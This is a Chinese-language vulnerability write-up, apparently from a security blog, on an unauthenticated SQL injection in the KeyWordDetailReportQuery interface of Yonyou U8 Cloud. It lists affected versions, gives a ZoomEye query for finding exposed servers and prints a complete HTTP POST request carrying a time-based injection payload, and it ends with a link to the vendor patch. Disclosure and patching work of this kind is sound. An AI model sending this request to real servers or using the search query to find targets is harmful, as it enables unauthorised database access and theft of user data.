0x01 产品简介

用友U8 Cloud 提供企业级云ERP整体解决方案，全面支持多组织业务协同，实现企业与联网资源连接。U8 Cloud 亦是亚大地区成长
企业最广泛采用的云解决方案。

0x02 漏洞概述

用友U8 cloud KeyWordDetailReportQuery 接口处存在SQL注入漏洞，攻击者未经授权可以访问数据库中的数据，从而盗取用户数据，造成用户信息泄露。

0x03 影响范围

U8 cloud 2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

0x04 复现环境

ZoomEye语法

app:"用友-U8-Cloud"

0x05 漏洞复现

POST /servlet/~iufo/nc.itf.iufo.mobilereport.data.KeyWordDetailReportQuery  HTTP/1.1
Host: ip:port
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"reportType":"';WAITFOR DELAY '0:0:5'--","usercode":"18701014496","keyword":[{"keywordPk":"1","keywordValue":"1","keywordIndex":1}]}

0x06 修复建议

https://security.yonyou.com/#/patchInfo?identifier=f3fd4862ca2f45b3803ac48df08ace98